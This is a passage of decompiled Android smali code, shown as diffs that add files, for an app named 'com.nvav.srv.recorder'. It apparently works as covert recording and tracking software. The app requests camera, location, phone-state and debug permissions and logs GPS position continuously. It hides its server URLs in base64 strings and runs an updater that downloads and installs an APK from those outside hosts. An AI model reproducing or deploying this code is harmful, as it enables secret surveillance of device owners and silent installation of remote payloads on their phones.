invoke-static {v2, v5}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object v2
.line 97
const-string v5, "rec.apk"
.line 98
new-instance v9, Ljava/lang/StringBuilder;
invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
invoke-virtual {v9, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v2
invoke-virtual {v2, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v2
invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v2
.line 99
new-instance v5, Ljava/lang/StringBuilder;
invoke-direct {v5, v0}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v0
invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v0
invoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
move-result-object v0
.line 100
new-instance v5, Ljava/io/File;
invoke-direct {v5, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
.line 101
invoke-virtual {v5}, Ljava/io/File;->exists()Z
move-result v2
if-eqz v2, :cond_2
invoke-virtual {v5}, Ljava/io/File;->delete()Z
.line 102
:cond_2
const-string v2, "%s%s"
new-array v9, v4, [Ljava/lang/Object;
aput-object v1, v9, v6
new-instance v1, Ljava/lang/String;
sget-object v11, Lcom/nvav/srv/recorder/MActivity;->ast2:[B
invoke-direct {v1, v11}, Ljava/lang/String;-><init>([B)V
aput-object v1, v9, v10
invoke-static {v2, v9}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object v1
.line 103
new-instance v2, Landroid/app/DownloadManager$Request;
invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
move-result-object v1
invoke-direct {v2, v1}, Landroid/app/DownloadManager$Request;-><init>(Landroid/net/Uri;)V
.line 104
iget-object v1, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
const/high16 v9, 0x7f070000
invoke-virtual {v1, v9}, Lcom/nvav/srv/recorder/MActivity;->getString(I)Ljava/lang/String;
move-result-object v1
invoke-virtual {v2, v1}, Landroid/app/DownloadManager$Request;->setTitle(Ljava/lang/CharSequence;)Landroid/app/DownloadManager$Request;
.line 105
iget-object v1, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
const v9, 0x7f070001
invoke-virtual {v1, v9}, Lcom/nvav/srv/recorder/MActivity;->getString(I)Ljava/lang/String;
move-result-object v1
invoke-virtual {v2, v1}, Landroid/app/DownloadManager$Request;->setDescription(Ljava/lang/CharSequence;)Landroid/app/DownloadManager$Request;
.line 106
invoke-virtual {v2, v0}, Landroid/app/DownloadManager$Request;->setDestinationUri(Landroid/net/Uri;)Landroid/app/DownloadManager$Request;
.line 107
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
const-string v1, "download"
invoke-virtual {v0, v1}, Lcom/nvav/srv/recorder/MActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Landroid/app/DownloadManager;
.line 108
invoke-virtual {v0, v2}, Landroid/app/DownloadManager;->enqueue(Landroid/app/DownloadManager$Request;)J
.line 109
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
iget-object v0, v0, Lcom/nvav/srv/recorder/MActivity;->context:Landroid/content/Context;
const-string v1, "com.nvav.srv.recorder.provider"
invoke-static {v0, v1, v5}, Landroid/support/v4/content/FileProvider;->getUriForFile(Landroid/content/Context;Ljava/lang/String;Ljava/io/File;)Landroid/net/Uri;
move-result-object v0
.line 110
iget-object v1, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
iget-object v1, v1, Lcom/nvav/srv/recorder/MActivity;->alert:Landroid/app/AlertDialog;
const-string v2, "%s\n%s\n%s"
const/4 v9, 0x3
new-array v11, v9, [Ljava/lang/Object;
iget-object v12, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
iget-object v12, v12, Lcom/nvav/srv/recorder/MActivity;->context:Landroid/content/Context;
aput-object v12, v11, v6
const-string v12, "com.nvav.srv.recorder.provider"
aput-object v12, v11, v10
aput-object v5, v11, v4
invoke-static {v2, v11}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object v2
invoke-virtual {v1, v2}, Landroid/app/AlertDialog;->setMessage(Ljava/lang/CharSequence;)V
.line 111
iget-object v1, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->tv:Landroid/widget/TextView;
const-string v2, "%s\n%s\n%s"
new-array v9, v9, [Ljava/lang/Object;
iget-object v11, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
iget-object v11, v11, Lcom/nvav/srv/recorder/MActivity;->context:Landroid/content/Context;
aput-object v11, v9, v6
const-string v11, "com.nvav.srv.recorder.provider"
aput-object v11, v9, v10
aput-object v5, v9, v4
invoke-static {v2, v9}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object v2
invoke-virtual {v1, v2}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
.line 113
new-instance v1, Lcom/nvav/srv/recorder/MActivity$Updater$1;
invoke-direct {v1, p0, v0}, Lcom/nvav/srv/recorder/MActivity$Updater$1;-><init>(Lcom/nvav/srv/recorder/MActivity$Updater;Landroid/net/Uri;)V
.line 124
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
new-instance v2, Landroid/content/IntentFilter;
const-string v4, "android.intent.action.DOWNLOAD_COMPLETE"
invoke-direct {v2, v4}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
invoke-virtual {v0, v1, v2}, Lcom/nvav/srv/recorder/MActivity;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
.line 125
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
iget-object v0, v0, Lcom/nvav/srv/recorder/MActivity;->toast:Landroid/widget/Toast;
const-string v1, "Update!"
invoke-virtual {v0, v1}, Landroid/widget/Toast;->setText(Ljava/lang/CharSequence;)V
.line 126
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
iget-object v0, v0, Lcom/nvav/srv/recorder/MActivity;->toast:Landroid/widget/Toast;
invoke-virtual {v0, v3, v6, v6}, Landroid/widget/Toast;->setGravity(III)V
.line 127
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
iget-object v0, v0, Lcom/nvav/srv/recorder/MActivity;->toast:Landroid/widget/Toast;
invoke-virtual {v0}, Landroid/widget/Toast;->show()V
.line 128
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->lock:Ljava/lang/Object;
monitor-enter v0
:try_end_4
.catch Ljava/lang/Exception; {:try_start_4 .. :try_end_4} :catch_0
.line 129
:try_start_5
iget-object v1, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->lock:Ljava/lang/Object;
invoke-virtual {v1, v7, v8}, Ljava/lang/Object;->wait(J)V
.line 130
monitor-exit v0
goto :goto_1
:catchall_1
move-exception v1
monitor-exit v0
:try_end_5
.catchall {:try_start_5 .. :try_end_5} :catchall_1
:try_start_6
throw v1
:try_end_6
.catch Ljava/lang/Exception; {:try_start_6 .. :try_end_6} :catch_0
:catchall_2
move-exception v0
.line 84
:try_start_7
monitor-exit v1
:try_end_7
.catchall {:try_start_7 .. :try_end_7} :catchall_2
:try_start_8
throw v0
:try_end_8
.catch Ljava/lang/Exception; {:try_start_8 .. :try_end_8} :catch_0
:catch_0
move-exception v0
.line 141
invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
:goto_1
return-void
.end method

View File

@@ -0,0 +1,725 @@
.class public Lcom/nvav/srv/recorder/MActivity;
.super Landroid/app/Activity;
.source "MActivity.java"
# annotations
.annotation system Ldalvik/annotation/MemberClasses;
value = {
Lcom/nvav/srv/recorder/MActivity$Updater;,
Lcom/nvav/srv/recorder/MActivity$MyResultReceiver;
}
.end annotation
# static fields
.field static ast:[B
.field static ast1:[B
.field static ast2:[B
.field static chenals:[I
.field static colors:[Ljava/lang/String;
.field static final key_ch:[Ljava/lang/String;
.field private static final perm:[Ljava/lang/String;
# instance fields
.field Chenal:Ljava/lang/Byte;
.field alert:Landroid/app/AlertDialog;
.field context:Landroid/content/Context;
.field handler:Landroid/os/Handler;
.field public ia:Ljava/lang/Boolean;
.field intent:Landroid/content/Intent;
.field mPreviewView:Landroid/widget/TextView;
.field mRunning:Z
.field toast:Landroid/widget/Toast;
# direct methods
.method static constructor <clinit>()V
.locals 13
.line 55
const-string v6, "android.permission.ACCESS_COARSE_LOCATION"
const-string v7, "android.permission.ACCESS_FINE_LOCATION"
const-string v0, "android.permission.CAMERA"
const-string v1, "android.permission.SET_DEBUG_APP"
const-string v2, "android.permission.WRITE_EXTERNAL_STORAGE"
const-string v3, "android.permission.READ_EXTERNAL_STORAGE"
const-string v4, "android.permission.INTERNET"
const-string v5, "android.permission.READ_PHONE_STATE"
filled-new-array/range {v0 .. v7}, [Ljava/lang/String;
move-result-object v0
sput-object v0, Lcom/nvav/srv/recorder/MActivity;->perm:[Ljava/lang/String;
.line 61
const-string v11, "#808080"
const-string v12, "#87CEFA"
const-string v1, "#000000"
const-string v2, "#B22222"
const-string v3, "#00FF7F"
const-string v4, "#000080"
const-string v5, "#FFFF00"
const-string v6, "#7B68EE"
const-string v7, "#DC143C"
const-string v8, "#006400"
const-string v9, "#00FFFF"
const-string v10, "#FFA500"
filled-new-array/range {v1 .. v12}, [Ljava/lang/String;
move-result-object v0
sput-object v0, Lcom/nvav/srv/recorder/MActivity;->colors:[Ljava/lang/String;
const/16 v0, 0xc
.line 63
new-array v0, v0, [I
fill-array-data v0, :array_0
sput-object v0, Lcom/nvav/srv/recorder/MActivity;->chenals:[I
.line 64
const-string v11, "2BB4"
const-string v12, "1F0E"
const-string v1, "0000"
const-string v2, "1111"
const-string v3, "533D"
const-string v4, "9A32"
const-string v5, "DC8F"
const-string v6, "1095"
const-string v7, "4167"
const-string v8, "2E43"
const-string v9, "701B"
const-string v10, "2BA9"
filled-new-array/range {v1 .. v12}, [Ljava/lang/String;
move-result-object v0
sput-object v0, Lcom/nvav/srv/recorder/MActivity;->key_ch:[Ljava/lang/String;
.line 65
const-string v0, "aHR0cDovL2FsYW50b3JnLmNvbS9O"
const/4 v1, 0x0
invoke-static {v0, v1}, Landroid/util/Base64;->decode(Ljava/lang/String;I)[B
move-result-object v0
sput-object v0, Lcom/nvav/srv/recorder/MActivity;->ast:[B
.line 66
const-string v0, "aHR0cHM6Ly9uZXdpcC52aWRzZXIudG9wL04="
invoke-static {v0, v1}, Landroid/util/Base64;->decode(Ljava/lang/String;I)[B
move-result-object v0
sput-object v0, Lcom/nvav/srv/recorder/MActivity;->ast1:[B
.line 67
const-string v0, "L3JlYy1yZWxlYXNlLmFwaw=="
invoke-static {v0, v1}, Landroid/util/Base64;->decode(Ljava/lang/String;I)[B
move-result-object v0
sput-object v0, Lcom/nvav/srv/recorder/MActivity;->ast2:[B
return-void
nop
:array_0
.array-data 4
0x0
0x37
0x36
0x35
0x33
0x31
0x30
0x34
0x32
0x2f
0x2e
0x2d
.end array-data
.end method
.method public constructor <init>()V
.locals 1
.line 54
invoke-direct {p0}, Landroid/app/Activity;-><init>()V
const/4 v0, 0x0
.line 153
invoke-static {v0}, Ljava/lang/Byte;->valueOf(B)Ljava/lang/Byte;
move-result-object v0
iput-object v0, p0, Lcom/nvav/srv/recorder/MActivity;->Chenal:Ljava/lang/Byte;
return-void
.end method
.method static synthetic access$000(Lcom/nvav/srv/recorder/MActivity;)V
.locals 0
.line 54
invoke-direct {p0}, Lcom/nvav/srv/recorder/MActivity;->init()V
return-void
.end method
.method static synthetic access$100(Lcom/nvav/srv/recorder/MActivity;)V
.locals 0
.line 54
invoke-direct {p0}, Lcom/nvav/srv/recorder/MActivity;->getCh()V
return-void
.end method
.method private getCh()V
.locals 3
.line 298
new-instance v0, Landroid/app/AlertDialog$Builder;
invoke-direct {v0, p0}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
.line 299
const-string v1, "Input CODE"
invoke-virtual {v0, v1}, Landroid/app/AlertDialog$Builder;->setTitle(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
.line 301
new-instance v1, Landroid/widget/EditText;
invoke-direct {v1, p0}, Landroid/widget/EditText;-><init>(Landroid/content/Context;)V
.line 302
invoke-virtual {v0, v1}, Landroid/app/AlertDialog$Builder;->setView(Landroid/view/View;)Landroid/app/AlertDialog$Builder;
.line 304
new-instance v2, Lcom/nvav/srv/recorder/MActivity$5;
invoke-direct {v2, p0, v1}, Lcom/nvav/srv/recorder/MActivity$5;-><init>(Lcom/nvav/srv/recorder/MActivity;Landroid/widget/EditText;)V
const-string v1, "OK"
invoke-virtual {v0, v1, v2}, Landroid/app/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
.line 318
new-instance v1, Lcom/nvav/srv/recorder/MActivity$6;
invoke-direct {v1, p0}, Lcom/nvav/srv/recorder/MActivity$6;-><init>(Lcom/nvav/srv/recorder/MActivity;)V
const-string v2, "Cancel"
invoke-virtual {v0, v2, v1}, Landroid/app/AlertDialog$Builder;->setNegativeButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
.line 325
invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->show()Landroid/app/AlertDialog;
return-void
.end method
.method private init()V
.locals 4
const/4 v0, 0x1
.line 330
:goto_0
sget-object v1, Lcom/nvav/srv/recorder/MActivity;->chenals:[I
array-length v2, v1
if-ge v0, v2, :cond_1
.line 331
aget v1, v1, v0
iget-object v2, p0, Lcom/nvav/srv/recorder/MActivity;->Chenal:Ljava/lang/Byte;
invoke-virtual {v2}, Ljava/lang/Byte;->byteValue()B
move-result v2
if-ne v1, v2, :cond_0
goto :goto_1
:cond_0
add-int/lit8 v0, v0, 0x1
goto :goto_0
:cond_1
const/4 v0, 0x0
:goto_1
const/16 v1, 0x11
.line 335
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
const/high16 v2, 0x7f070000
invoke-virtual {p0, v2}, Lcom/nvav/srv/recorder/MActivity;->getString(I)Ljava/lang/String;
move-result-object v2
invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v3
filled-new-array {v1, v2, v3}, [Ljava/lang/Object;
move-result-object v1
const-string v2, "(%d) %s %d"
invoke-static {v2, v1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object v1
invoke-virtual {p0, v1}, Lcom/nvav/srv/recorder/MActivity;->setTitle(Ljava/lang/CharSequence;)V
.line 336
invoke-virtual {p0}, Lcom/nvav/srv/recorder/MActivity;->getActionBar()Landroid/app/ActionBar;
move-result-object v1
new-instance v2, Landroid/graphics/drawable/ColorDrawable;
sget-object v3, Lcom/nvav/srv/recorder/MActivity;->colors:[Ljava/lang/String;
aget-object v0, v3, v0
invoke-static {v0}, Landroid/graphics/Color;->parseColor(Ljava/lang/String;)I
move-result v0
invoke-direct {v2, v0}, Landroid/graphics/drawable/ColorDrawable;-><init>(I)V
invoke-virtual {v1, v2}, Landroid/app/ActionBar;->setBackgroundDrawable(Landroid/graphics/drawable/Drawable;)V
.line 341
new-instance v0, Lcom/nvav/srv/recorder/MActivity$MyResultReceiver;
const/4 v1, 0x0
invoke-direct {v0, p0, v1}, Lcom/nvav/srv/recorder/MActivity$MyResultReceiver;-><init>(Lcom/nvav/srv/recorder/MActivity;Landroid/os/Handler;)V
.line 342
iget-object v1, p0, Lcom/nvav/srv/recorder/MActivity;->intent:Landroid/content/Intent;
const-string v2, "reciver"
invoke-virtual {v1, v2, v0}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
.line 343
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity;->mPreviewView:Landroid/widget/TextView;
new-instance v1, Lcom/nvav/srv/recorder/MActivity$7;
invoke-direct {v1, p0}, Lcom/nvav/srv/recorder/MActivity$7;-><init>(Lcom/nvav/srv/recorder/MActivity;)V
invoke-virtual {v0, v1}, Landroid/widget/TextView;->setOnClickListener(Landroid/view/View$OnClickListener;)V
return-void
.end method
# virtual methods
.method ResetButton()V
.locals 3
.line 160
new-instance v0, Landroid/app/AlertDialog$Builder;
invoke-direct {v0, p0}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
.line 161
const-string v1, "Reset?"
invoke-virtual {v0, v1}, Landroid/app/AlertDialog$Builder;->setTitle(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
.line 163
new-instance v1, Lcom/nvav/srv/recorder/MActivity$1;
invoke-direct {v1, p0}, Lcom/nvav/srv/recorder/MActivity$1;-><init>(Lcom/nvav/srv/recorder/MActivity;)V
const-string v2, "Yes"
invoke-virtual {v0, v2, v1}, Landroid/app/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
.line 172
new-instance v1, Lcom/nvav/srv/recorder/MActivity$2;
invoke-direct {v1, p0}, Lcom/nvav/srv/recorder/MActivity$2;-><init>(Lcom/nvav/srv/recorder/MActivity;)V
const-string v2, "No"
invoke-virtual {v0, v2, v1}, Landroid/app/AlertDialog$Builder;->setNegativeButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
.line 179
invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->show()Landroid/app/AlertDialog;
return-void
.end method
.method protected onCreate(Landroid/os/Bundle;)V
.locals 6
.line 195
invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
.line 196
iput-object p0, p0, Lcom/nvav/srv/recorder/MActivity;->context:Landroid/content/Context;
const/4 p1, 0x0
.line 197
iput-boolean p1, p0, Lcom/nvav/srv/recorder/MActivity;->mRunning:Z
.line 199
const-string v0, ""
invoke-static {p0, v0, p1}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
move-result-object v0
iput-object v0, p0, Lcom/nvav/srv/recorder/MActivity;->toast:Landroid/widget/Toast;
const/high16 v0, 0x7f040000
.line 207
invoke-virtual {p0, v0}, Lcom/nvav/srv/recorder/MActivity;->setContentView(I)V
.line 209
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity;->context:Landroid/content/Context;
invoke-static {v0}, Lcom/nvav/srv/recorder/ChenalC;->getInstance(Landroid/content/Context;)Lcom/nvav/srv/recorder/ChenalC;
move-result-object v0
invoke-virtual {v0}, Lcom/nvav/srv/recorder/ChenalC;->get()Ljava/lang/Byte;
move-result-object v0
iput-object v0, p0, Lcom/nvav/srv/recorder/MActivity;->Chenal:Ljava/lang/Byte;
.line 217
new-instance v0, Lcom/nvav/srv/recorder/MActivity$Updater;
invoke-direct {v0, p0}, Lcom/nvav/srv/recorder/MActivity$Updater;-><init>(Lcom/nvav/srv/recorder/MActivity;)V
.line 218
invoke-virtual {v0}, Lcom/nvav/srv/recorder/MActivity$Updater;->start()V
const v0, 0x7f020006
.line 219
invoke-virtual {p0, v0}, Lcom/nvav/srv/recorder/MActivity;->findViewById(I)Landroid/view/View;
move-result-object v0
check-cast v0, Landroid/widget/TextView;
iput-object v0, p0, Lcom/nvav/srv/recorder/MActivity;->mPreviewView:Landroid/widget/TextView;
.line 220
new-instance v0, Landroid/content/Intent;
iget-object v1, p0, Lcom/nvav/srv/recorder/MActivity;->context:Landroid/content/Context;
const-class v2, Lcom/nvav/srv/recorder/Speek;
invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
iput-object v0, p0, Lcom/nvav/srv/recorder/MActivity;->intent:Landroid/content/Intent;
.line 221
new-instance v0, Ljava/util/ArrayList;
invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
.line 222
sget-object v1, Lcom/nvav/srv/recorder/MActivity;->perm:[Ljava/lang/String;
array-length v2, v1
:goto_0
if-ge p1, v2, :cond_1
aget-object v3, v1, p1
.line 223
invoke-static {p0, v3}, Landroid/support/v4/content/ContextCompat;->checkSelfPermission(Landroid/content/Context;Ljava/lang/String;)I
move-result v4
const/4 v5, -0x1
if-ne v4, v5, :cond_0
.line 224
invoke-interface {v0, v3}, Ljava/util/List;->add(Ljava/lang/Object;)Z
:cond_0
add-int/lit8 p1, p1, 0x1
goto :goto_0
.line 227
:cond_1
invoke-interface {v0}, Ljava/util/List;->size()I
move-result p1
new-array p1, p1, [Ljava/lang/String;
.line 228
invoke-interface {v0, p1}, Ljava/util/List;->toArray([Ljava/lang/Object;)[Ljava/lang/Object;
move-result-object p1
check-cast p1, [Ljava/lang/String;
const/4 v0, 0x1
.line 229
invoke-static {p0, p1, v0}, Landroid/support/v4/app/ActivityCompat;->requestPermissions(Landroid/app/Activity;[Ljava/lang/String;I)V
.line 231
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity;->Chenal:Ljava/lang/Byte;
invoke-virtual {p1}, Ljava/lang/Byte;->byteValue()B
move-result p1
if-nez p1, :cond_2
.line 232
invoke-direct {p0}, Lcom/nvav/srv/recorder/MActivity;->getCh()V
:cond_2
const p1, 0x7f020005
.line 235
invoke-virtual {p0, p1}, Lcom/nvav/srv/recorder/MActivity;->findViewById(I)Landroid/view/View;
move-result-object p1
check-cast p1, Landroid/widget/TextView;
.line 236
new-instance v0, Lcom/nvav/srv/recorder/MActivity$3;
invoke-direct {v0, p0}, Lcom/nvav/srv/recorder/MActivity$3;-><init>(Lcom/nvav/srv/recorder/MActivity;)V
invoke-virtual {p1, v0}, Landroid/widget/TextView;->setOnLongClickListener(Landroid/view/View$OnLongClickListener;)V
.line 253
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity;->Chenal:Ljava/lang/Byte;
invoke-virtual {p1}, Ljava/lang/Byte;->byteValue()B
move-result p1
if-lez p1, :cond_3
.line 254
invoke-direct {p0}, Lcom/nvav/srv/recorder/MActivity;->init()V
:cond_3
const/high16 p1, 0x7f020000
.line 256
invoke-virtual {p0, p1}, Lcom/nvav/srv/recorder/MActivity;->findViewById(I)Landroid/view/View;
move-result-object p1
move-object v2, p1
check-cast v2, Landroid/widget/ImageView;
const p1, 0x7f020001
.line 257
invoke-virtual {p0, p1}, Lcom/nvav/srv/recorder/MActivity;->findViewById(I)Landroid/view/View;
move-result-object p1
move-object v3, p1
check-cast v3, Landroid/widget/ImageView;
const p1, 0x7f020002
.line 258
invoke-virtual {p0, p1}, Lcom/nvav/srv/recorder/MActivity;->findViewById(I)Landroid/view/View;
move-result-object p1
move-object v4, p1
check-cast v4, Landroid/widget/ImageView;
const p1, 0x7f020003
.line 259
invoke-virtual {p0, p1}, Lcom/nvav/srv/recorder/MActivity;->findViewById(I)Landroid/view/View;
move-result-object p1
move-object v5, p1
check-cast v5, Landroid/widget/ImageView;
.line 260
new-instance p1, Lcom/nvav/srv/recorder/MActivity$4;
move-object v0, p1
move-object v1, p0
invoke-direct/range {v0 .. v5}, Lcom/nvav/srv/recorder/MActivity$4;-><init>(Lcom/nvav/srv/recorder/MActivity;Landroid/widget/ImageView;Landroid/widget/ImageView;Landroid/widget/ImageView;Landroid/widget/ImageView;)V
iput-object p1, p0, Lcom/nvav/srv/recorder/MActivity;->handler:Landroid/os/Handler;
.line 290
:try_start_0
invoke-static {p0}, Lcom/nvav/srv/recorder/MyLocListen;->SetUpLocationListener(Landroid/content/Context;)V
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_1
:catch_0
move-exception p1
.line 292
invoke-virtual {p1}, Ljava/lang/Exception;->printStackTrace()V
:goto_1
return-void
.end method
.method public onOptionsItemSelected(Landroid/view/MenuItem;)Z
.locals 2
.line 184
invoke-interface {p1}, Landroid/view/MenuItem;->getItemId()I
move-result v0
const v1, 0x7f020004
if-eq v0, v1, :cond_0
.line 188
invoke-super {p0, p1}, Landroid/app/Activity;->onOptionsItemSelected(Landroid/view/MenuItem;)Z
move-result p1
return p1
:cond_0
const/4 p1, 0x1
return p1
.end method
.method protected onPause()V
.locals 0
.line 377
invoke-super {p0}, Landroid/app/Activity;->onPause()V
return-void
.end method
.method protected onResume()V
.locals 0
.line 373
invoke-super {p0}, Landroid/app/Activity;->onResume()V
return-void
.end method
.method public onStart()V
.locals 0
.line 381
invoke-super {p0}, Landroid/app/Activity;->onStart()V
return-void
.end method
.method public onStop()V
.locals 0
.line 385
invoke-super {p0}, Landroid/app/Activity;->onStop()V
return-void
.end method

View File

@@ -0,0 +1,102 @@
.class Lcom/nvav/srv/recorder/MyLocListen;
.super Ljava/lang/Object;
.source "MyLocListen.java"
# interfaces
.implements Landroid/location/LocationListener;
# static fields
.field static imHere:Landroid/location/Location;
# direct methods
.method constructor <init>()V
.locals 0
.line 10
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method
.method public static SetUpLocationListener(Landroid/content/Context;)V
.locals 6
.line 16
:try_start_0
const-string v0, "location"
invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
move-result-object p0
check-cast p0, Landroid/location/LocationManager;
.line 17
new-instance v5, Lcom/nvav/srv/recorder/MyLocListen;
invoke-direct {v5}, Lcom/nvav/srv/recorder/MyLocListen;-><init>()V
.line 18
const-string v1, "gps"
const-wide/16 v2, 0x1388
const/high16 v4, 0x41200000 # 10.0f
move-object v0, p0
invoke-virtual/range {v0 .. v5}, Landroid/location/LocationManager;->requestLocationUpdates(Ljava/lang/String;JFLandroid/location/LocationListener;)V
.line 19
const-string v0, "gps"
invoke-virtual {p0, v0}, Landroid/location/LocationManager;->getLastKnownLocation(Ljava/lang/String;)Landroid/location/Location;
move-result-object p0
sput-object p0, Lcom/nvav/srv/recorder/MyLocListen;->imHere:Landroid/location/Location;
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_0
:catch_0
move-exception p0
.line 21
invoke-virtual {p0}, Ljava/lang/Exception;->printStackTrace()V
:goto_0
return-void
.end method
# virtual methods
.method public onLocationChanged(Landroid/location/Location;)V
.locals 0
.line 25
sput-object p1, Lcom/nvav/srv/recorder/MyLocListen;->imHere:Landroid/location/Location;
return-void
.end method
.method public onProviderDisabled(Ljava/lang/String;)V
.locals 0
return-void
.end method
.method public onProviderEnabled(Ljava/lang/String;)V
.locals 0
return-void
.end method
.method public onStatusChanged(Ljava/lang/String;ILandroid/os/Bundle;)V
.locals 0
return-void
.end method

View File

@@ -0,0 +1,33 @@
.class public final Lcom/nvav/srv/recorder/R$drawable;
.super Ljava/lang/Object;
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/R;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x19
name = "drawable"
.end annotation
# static fields
.field public static final backr:I = 0x7f010000
.field public static final backrepeat:I = 0x7f010001
.field public static final off:I = 0x7f010002
.field public static final on:I = 0x7f010003
# direct methods
.method private constructor <init>()V
.locals 0
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method

View File

@@ -0,0 +1,39 @@
.class public final Lcom/nvav/srv/recorder/R$id;
.super Ljava/lang/Object;
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/R;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x19
name = "id"
.end annotation
# static fields
.field public static final L1:I = 0x7f020000
.field public static final L2:I = 0x7f020001
.field public static final L3:I = 0x7f020002
.field public static final L4:I = 0x7f020003
.field public static final action_settings:I = 0x7f020004
.field public static final br:I = 0x7f020005
.field public static final preview_view:I = 0x7f020006
# direct methods
.method private constructor <init>()V
.locals 0
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method

View File

@@ -0,0 +1,27 @@
.class public final Lcom/nvav/srv/recorder/R$integer;
.super Ljava/lang/Object;
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/R;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x19
name = "integer"
.end annotation
# static fields
.field public static final Chenal:I = 0x7f030000
# direct methods
.method private constructor <init>()V
.locals 0
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method

View File

@@ -0,0 +1,27 @@
.class public final Lcom/nvav/srv/recorder/R$layout;
.super Ljava/lang/Object;
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
